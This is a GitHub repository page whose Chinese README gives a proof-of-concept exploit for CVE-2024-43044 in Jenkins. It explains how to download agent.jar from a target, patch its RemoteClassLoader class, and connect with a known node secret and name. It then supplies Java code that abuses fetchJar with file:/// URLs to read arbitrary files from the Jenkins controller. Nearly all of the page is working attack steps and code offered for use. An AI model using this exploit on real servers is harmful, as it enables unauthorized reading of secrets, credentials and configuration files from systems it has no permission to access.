Skip to content

v9d0g/CVE-2024-43044-POC

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 

Repository files navigation

用法

通过http://ip:port/jnlpJars/agent.jar下载jar包

修改\hudson\remoting\RemoteClassLoader.class对应代码

重新编译打包

需提前获悉node的密钥和名称

java -jar agent.jar -url http://ip:port/ -secret <xxx> -name <xxx>

添加内容为:

import java.util.Scanner;

try {  
    Scanner scanner = new Scanner(System.in);  
    System.out.print("输入读取文件path:");  
    String inputText = scanner.nextLine();  
    System.out.println("尝试读取:" + inputText);  
    URL jarFileUrl = new URL("file:///" + inputText);  
    byte[] fileContent = this.proxy.fetchJar(jarFileUrl);  
    String contentAsString = new String(fileContent, StandardCharsets.UTF_8);  
    System.out.println("文件内容:\n" + contentAsString);  
} catch (Exception var10) {  
    System.out.println("WRONG:" + var10);  
}

About

CVE-2024-43044的利用方式

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published